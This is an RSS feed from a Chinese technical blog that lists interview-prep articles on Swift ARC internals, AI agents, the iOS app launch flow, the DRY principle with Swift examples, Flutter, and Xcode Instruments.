<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>面试 on Last Stand</title><link>https://amatsuzero.github.io/LastStand/tags/%E9%9D%A2%E8%AF%95/</link><description>Recent content in 面试 on Last Stand</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Sun, 21 Jun 2026 22:41:52 +0800</lastBuildDate><atom:link href="https://amatsuzero.github.io/LastStand/tags/%E9%9D%A2%E8%AF%95/index.xml" rel="self" type="application/rss+xml"/><item><title>Swift 面试：ARC 与内存管理源码解析</title><link>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/arc-memory-management/</link><pubDate>Tue, 16 Jun 2026 09:06:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/arc-memory-management/</guid><description>&lt;h1 id="swift-面试arc-与内存管理源码解析"&gt;Swift 面试：ARC 与内存管理源码解析&lt;/h1&gt;
&lt;p&gt;Swift 面试里问 ARC，通常不是想听一句“自动引用计数”。真正要答清楚的是：&lt;strong&gt;对象头里有什么、strong / weak / unowned 到底差在哪里、编译器什么时候插入或消除 retain/release、为什么闭包会循环引用&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这篇文章按面试题展开。先给可以直接回答的版本，再把结论落到 Swift 源码里的对象布局、引用计数状态机和 SIL ARC 优化。&lt;/p&gt;
&lt;h2 id="面试高频问题"&gt;面试高频问题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Swift 的 ARC 和 Objective-C 的 ARC 有什么区别？&lt;/li&gt;
&lt;li&gt;Swift 对象的引用计数存在哪里？&lt;/li&gt;
&lt;li&gt;strong、weak、unowned 的底层差异是什么？&lt;/li&gt;
&lt;li&gt;为什么 weak 在对象释放后会自动变成 nil？&lt;/li&gt;
&lt;li&gt;为什么 unowned 访问已释放对象会崩溃？&lt;/li&gt;
&lt;li&gt;闭包为什么容易造成循环引用？&lt;/li&gt;
&lt;li&gt;编译器会如何优化 retain/release？&lt;/li&gt;
&lt;li&gt;值类型是否完全不参与 ARC？&lt;/li&gt;
&lt;li&gt;ARC 和 Copy-on-Write 有什么关系？&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="30-秒回答版"&gt;30 秒回答版&lt;/h2&gt;
&lt;p&gt;Swift ARC 是编译器和运行时共同完成的内存管理机制。&lt;/p&gt;
&lt;p&gt;编译器在 SIL 阶段根据所有权语义插入 &lt;code&gt;retain_value&lt;/code&gt;、&lt;code&gt;release_value&lt;/code&gt;、&lt;code&gt;strong_retain&lt;/code&gt;、&lt;code&gt;strong_release&lt;/code&gt; 等引用计数指令，并通过 ARC 优化尽量消除冗余 retain/release。运行时负责真正维护对象的引用计数。&lt;/p&gt;
&lt;p&gt;对原生 Swift 堆对象来说，对象头包含两部分：&lt;code&gt;metadata&lt;/code&gt; 和 &lt;code&gt;refCounts&lt;/code&gt;。源码里 &lt;code&gt;HeapObject&lt;/code&gt; 的注释明确说 &lt;code&gt;metadata&lt;/code&gt; 总是指向一个有效的 metadata 对象，&lt;code&gt;refCounts&lt;/code&gt; 是 Swift heap object header 的非 Objective-C 成员。&lt;/p&gt;</description></item><item><title>AI Agent</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/ai-agent/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/ai-agent/</guid><description>&lt;p&gt;ChatGPT能写文章、能回答问题，但你让它帮你订一张机票，它做不到。它能告诉你&amp;quot;你应该去携程搜一下&amp;quot;，但它没法真的打开网页、输入日期、比价、下单。&lt;/p&gt;
&lt;p&gt;**AI Agent（智能体）**就是为了解决这个问题——让LLM不仅能&amp;quot;想&amp;quot;，还能&amp;quot;做&amp;quot;。Agent = LLM + 工具使用 + 自主规划 + 记忆。&lt;/p&gt;
&lt;h2 id="一从聊天机器人到智能体"&gt;一、从聊天机器人到智能体&lt;/h2&gt;
&lt;h3 id="11-纯llm的局限"&gt;1.1 纯LLM的局限&lt;/h3&gt;
&lt;p&gt;一个纯粹的LLM本质上是一个&amp;quot;无状态的文本生成器&amp;quot;：&lt;/p&gt;
&lt;pre class="mermaid"&gt;graph LR
IN["输入文本"] --&gt; LLM["LLM"]
LLM --&gt; OUT["输出文本"]
&lt;/pre&gt;
&lt;p&gt;它有几个根本性的限制：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;限制&lt;/th&gt;
&lt;th&gt;表现&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;无法执行动作&lt;/td&gt;
&lt;td&gt;不能调API、不能操作文件、不能访问数据库&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无持久记忆&lt;/td&gt;
&lt;td&gt;每次对话结束后就&amp;quot;忘了&amp;quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;知识过时&lt;/td&gt;
&lt;td&gt;无法获取训练数据之后的信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无法自主规划&lt;/td&gt;
&lt;td&gt;不能将复杂任务分解并逐步执行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;单轮思考&lt;/td&gt;
&lt;td&gt;一次生成就结束，不能自我检查和修正&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="12-agent的定义"&gt;1.2 Agent的定义&lt;/h3&gt;
&lt;p&gt;AI Agent是一个以LLM为&amp;quot;大脑&amp;quot;的自主系统，能够：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;感知&lt;/strong&gt;：理解用户的意图和当前环境状态&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;规划&lt;/strong&gt;：将复杂目标分解为可执行的步骤&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;行动&lt;/strong&gt;：调用外部工具完成具体操作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;观察&lt;/strong&gt;：获取行动的结果&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;反思&lt;/strong&gt;：根据结果调整策略&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class="mermaid"&gt;graph TD
USER["用户目标"] --&gt; PERCEIVE["感知&lt;br/&gt;理解意图"]
PERCEIVE --&gt; PLAN["规划&lt;br/&gt;分解任务"]
PLAN --&gt; ACT["行动&lt;br/&gt;调用工具"]
ACT --&gt; OBSERVE["观察&lt;br/&gt;获取结果"]
OBSERVE --&gt; REFLECT["反思&lt;br/&gt;是否完成？"]
REFLECT --&gt;|未完成| PLAN
REFLECT --&gt;|已完成| RESULT["返回结果"]
&lt;/pre&gt;
&lt;h2 id="二agent的核心组件"&gt;二、Agent的核心组件&lt;/h2&gt;
&lt;h3 id="21-架构总览"&gt;2.1 架构总览&lt;/h3&gt;
&lt;pre class="mermaid"&gt;graph TB
subgraph Agent ["AI Agent"]
LLM["LLM（大脑）"]
PLAN["规划模块"]
MEM["记忆系统"]
TOOL["工具集"]
end
USER["用户"] --&gt; LLM
LLM --&gt; PLAN
PLAN --&gt; LLM
LLM --&gt; MEM
MEM --&gt; LLM
LLM --&gt; TOOL
TOOL --&gt; LLM
LLM --&gt; USER
&lt;/pre&gt;
&lt;h3 id="22-llmagent的大脑"&gt;2.2 LLM：Agent的大脑&lt;/h3&gt;
&lt;p&gt;LLM负责理解、推理和决策。作为Agent大脑的LLM需要具备：&lt;/p&gt;</description></item><item><title>App启动流程</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/app%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/app%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B/</guid><description>&lt;h2 id="启动类型概览"&gt;启动类型概览&lt;/h2&gt;
&lt;p&gt;iOS应用启动分为三种类型：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;启动类型&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;冷启动（Cold Launch）&lt;/td&gt;
&lt;td&gt;App完全不在内存中，需要从头开始加载&lt;/td&gt;
&lt;td&gt;耗时最长，需要完整执行所有启动流程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;热启动（Warm Launch）&lt;/td&gt;
&lt;td&gt;App在后台被挂起（Suspended），重新进入前台&lt;/td&gt;
&lt;td&gt;最快，只需恢复App状态，不需要重新创建进程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;预热启动（Pre-warm Launch）&lt;/td&gt;
&lt;td&gt;系统预测用户可能启动App，提前在后台执行部分启动流程&lt;/td&gt;
&lt;td&gt;iOS 15+引入，介于冷启动和热启动之间&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class="mermaid"&gt;graph LR
subgraph "冷启动（耗时最长）"
A1[创建进程] --&gt; A2[加载dylib]
A2 --&gt; A3[Rebase/Bind]
A3 --&gt; A4[+load]
A4 --&gt; A5[main]
A5 --&gt; A6[首帧渲染]
end
subgraph "预热启动（iOS 15+）"
B1[系统提前完成（后台）:&lt;br/&gt;创建进程 → 加载dylib → Rebase/Bind] --&gt; B2[用户点击后执行:&lt;br/&gt;+load → main → 首帧渲染]
end
subgraph "热启动（最快）"
C1[唤醒进程] --&gt; C2[WillEnterForeground]
C2 --&gt; C3[DidBecomeActive]
C3 --&gt; C4[恢复UI]
end
&lt;/pre&gt;
&lt;hr&gt;
&lt;h1 id="一冷启动cold-launch"&gt;一、冷启动（Cold Launch）&lt;/h1&gt;
&lt;p&gt;冷启动是最完整的启动流程，也是启动优化的主要关注点。&lt;/p&gt;
&lt;h2 id="冷启动流程概览"&gt;冷启动流程概览&lt;/h2&gt;
&lt;pre class="mermaid"&gt;flowchart TD
Start([App 冷启动流程]) --&gt; PreMain
subgraph PreMain["Pre-main 阶段"]
direction TB
A[加载可执行文件] --&gt; B[加载动态库&lt;br/&gt;（包括 Swift Runtime）]
B --&gt; C[Rebase &amp; Bind]
C --&gt; D[ObjC Runtime 初始化&lt;br/&gt;（类注册、Category 附加）]
D --&gt; D2[Swift Runtime 元数据注册&lt;br/&gt;（类型元数据、协议遵循表）]
D2 --&gt; D3[调用 +load 方法]
D3 --&gt; E[执行 Initializers&lt;br/&gt;（C++静态构造函数、__attribute__）]
end
PreMain --&gt; MainPhase
subgraph MainPhase["main 阶段"]
direction TB
F[main函数] --&gt; G[UIApplicationMain]
G --&gt; H[AppDelegate回调]
H --&gt; I[首帧渲染&lt;br/&gt;（创建Window、RootViewController、首屏UI）]
end
MainPhase --&gt; End([启动完成])
&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id="pre-main-阶段"&gt;Pre-main 阶段&lt;/h2&gt;
&lt;p&gt;Pre-main阶段是指从用户点击App图标到main函数执行之前的过程，这个阶段主要由dyld（动态链接器）负责。&lt;/p&gt;</description></item><item><title>DRY原则</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/dry%E5%8E%9F%E5%88%99/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/principles/dry%E5%8E%9F%E5%88%99/</guid><description>&lt;h2 id="什么是dry原则"&gt;什么是DRY原则？&lt;/h2&gt;
&lt;p&gt;DRY（Don&amp;rsquo;t Repeat Yourself）原则是由 Andy Hunt 和 Dave Thomas 在《The Pragmatic Programmer》一书中提出的软件开发原则。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.
系统中的每一项知识都必须有一个单一、明确、权威的表示。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;DRY 原则的核心不仅仅是&amp;quot;不要复制粘贴代码&amp;quot;，而是确保&lt;strong&gt;知识和逻辑在系统中只存在一处&lt;/strong&gt;。&lt;/p&gt;
&lt;h2 id="核心思想"&gt;核心思想&lt;/h2&gt;
&lt;h3 id="知识的单一来源"&gt;知识的单一来源&lt;/h3&gt;
&lt;p&gt;DRY 原则强调的是&amp;quot;知识&amp;quot;的不重复，而非简单的&amp;quot;代码&amp;quot;不重复。知识包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;业务规则&lt;/strong&gt;：如&amp;quot;订单金额超过100元免运费&amp;quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据结构定义&lt;/strong&gt;：如用户模型的字段&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;算法逻辑&lt;/strong&gt;：如价格计算公式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置信息&lt;/strong&gt;：如 API 地址、超时时间&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 违反 DRY：同一个业务规则在多处定义&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;OrderService&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;calculateShipping&lt;/span&gt;(orderAmount: Double) -&amp;gt; Double {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; orderAmount &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; { &lt;span style="color:#75715e"&gt;// 业务规则：100元以上免运费&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CartViewController&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;updateShippingLabel&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; cartTotal &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; { &lt;span style="color:#75715e"&gt;// 重复的业务规则！&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shippingLabel.text = &lt;span style="color:#e6db74"&gt;&amp;#34;免运费&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shippingLabel.text = &lt;span style="color:#e6db74"&gt;&amp;#34;运费：¥10&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CheckoutViewModel&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getShippingFee&lt;/span&gt;() -&amp;gt; Double {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; totalAmount &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; ? &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; : &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#75715e"&gt;// 又是重复！&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 遵循 DRY：业务规则只定义一次&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ShippingPolicy&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; freeShippingThreshold: Double = &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; standardShippingFee: Double = &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;calculateFee&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; orderAmount: Double) -&amp;gt; Double {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; orderAmount &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; freeShippingThreshold ? &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; : standardShippingFee
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;isFreeShipping&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; orderAmount: Double) -&amp;gt; Bool {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; orderAmount &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; freeShippingThreshold
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 所有地方都使用这个单一来源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;OrderService&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;calculateShipping&lt;/span&gt;(orderAmount: Double) -&amp;gt; Double {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; ShippingPolicy.calculateFee(&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;: orderAmount)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CartViewController&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;updateShippingLabel&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ShippingPolicy.isFreeShipping(&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt;: cartTotal) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shippingLabel.text = &lt;span style="color:#e6db74"&gt;&amp;#34;免运费&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; shippingLabel.text = &lt;span style="color:#e6db74"&gt;&amp;#34;运费：¥&lt;/span&gt;&lt;span style="color:#e6db74"&gt;\(&lt;/span&gt;ShippingPolicy.standardShippingFee&lt;span style="color:#e6db74"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="dry-vs-wet"&gt;DRY vs WET&lt;/h3&gt;
&lt;p&gt;WET 是 DRY 的反义词，常见的解释有：&lt;/p&gt;</description></item><item><title>Flutter 详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/flutter/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-cross-platform/flutter/</guid><description>&lt;p&gt;Flutter 是 Google 推出的跨平台 UI 工具包，用 Dart 写一份代码即可编译到 iOS、Android、Web、macOS、Windows、Linux、嵌入式设备。它与 KMP/RN 的最大区别是&amp;quot;&lt;strong&gt;不映射到原生控件，也不跑在 WebView 里&lt;/strong&gt;&amp;quot;——Flutter 自带一套 &lt;strong&gt;Impeller 渲染引擎&lt;/strong&gt;，直接向 GPU（Metal / Vulkan）提交绘制命令，从按钮到滚动条的每一个像素都是自己画出来的。&lt;/p&gt;
&lt;p&gt;这种&amp;quot;自绘&amp;quot;架构让 Flutter 拥有&amp;quot;&lt;strong&gt;双端像素级一致&lt;/strong&gt;&amp;ldquo;的超能力，也带来了&amp;rdquo;&lt;strong&gt;iOS 原生设计语言永远慢半拍&lt;/strong&gt;&amp;ldquo;的原罪。在 AI Coding 时代，Flutter 的统一性和 GenUI 生态让它成为 LLM 生成 UI 的理想容器，但端侧 AI、Liquid Glass 等 Apple 独占能力的缺失也让它在 iOS 26 时代面临新的挑战。&lt;/p&gt;
&lt;p&gt;本文从架构出发，穿透到 Dart VM 编译链、Impeller 渲染管线、iOS 嵌入原理，再到 AI 时代的机遇与陷阱，是一篇写给 iOS 开发者的 Flutter 体系化导读。&lt;/p&gt;
&lt;h2 id="一flutter-是什么"&gt;一、Flutter 是什么&lt;/h2&gt;
&lt;h3 id="11-一句话定义"&gt;1.1 一句话定义&lt;/h3&gt;
&lt;p&gt;Flutter 是一套&amp;rdquo;&lt;strong&gt;声明式 UI + 自绘渲染 + AOT 原生代码&lt;/strong&gt;&amp;ldquo;的跨平台框架：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;声明式 UI&lt;/strong&gt;：UI 是 &lt;code&gt;build(context) =&amp;gt; Widget&lt;/code&gt; 的纯函数结果，状态变 → 重新 build → diff → 更新。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自绘渲染&lt;/strong&gt;：所有控件都是 Flutter 自己用 Impeller 绘制出来的，&lt;strong&gt;不使用 UIKit / SwiftUI 组件&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AOT 编译&lt;/strong&gt;：发布时 Dart 代码被 &lt;code&gt;gen_snapshot&lt;/code&gt; 编译为 ARM64 机器码，与 C++ 引擎一起链接到 &lt;code&gt;Flutter.framework&lt;/code&gt; 内。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一句话记忆：&lt;strong&gt;Flutter 不是跑在 iOS 上，它是借 iOS 的一块 CAMetalLayer 画自己的东西。&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Instruments详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/instruments%E8%AF%A6%E8%A7%A3/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/instruments%E8%AF%A6%E8%A7%A3/</guid><description>&lt;p&gt;Instruments 是 Xcode 内置的性能分析套件，基于 DTrace/Apple Trace 基础设施构建，可以对 iOS、iPadOS、macOS、watchOS、tvOS、visionOS 的应用与系统进行 CPU、内存、图形、能耗、网络、I/O 等各个维度的观测。&lt;/p&gt;
&lt;p&gt;Xcode 26（WWDC25）对 Instruments 做了近年来最大规模的升级，重点包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Power Profiler&lt;/strong&gt;：全新的能耗分析工具，支持 Tethered 与 Passive 两种录制模式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;下一代 SwiftUI instrument&lt;/strong&gt;：基于 Cause &amp;amp; Effect Graph 可视化状态变更到视图更新的因果链。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Processor Trace&lt;/strong&gt;：基于 Apple Silicon 硬件特性的&amp;quot;全量指令级&amp;quot;采集（Xcode 16.3 引入，26 完善）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CPU Counters 重做&lt;/strong&gt;：引入 Bottleneck Analysis 方法论与 CPU Bottlenecks 模板。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Foundation Models instrument&lt;/strong&gt;：为 FoundationModels 框架提供 Prompt / Asset Loading / Inference 分阶段观测。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Animation Hitches 重做&lt;/strong&gt;：修正多显示器场景下的统计，数据量显著减少，处理更快。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UI 重设计&lt;/strong&gt;：主菜单精简、Settings 页面重写、Track 次级菜单、Launch/Attach 环境变量配置。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
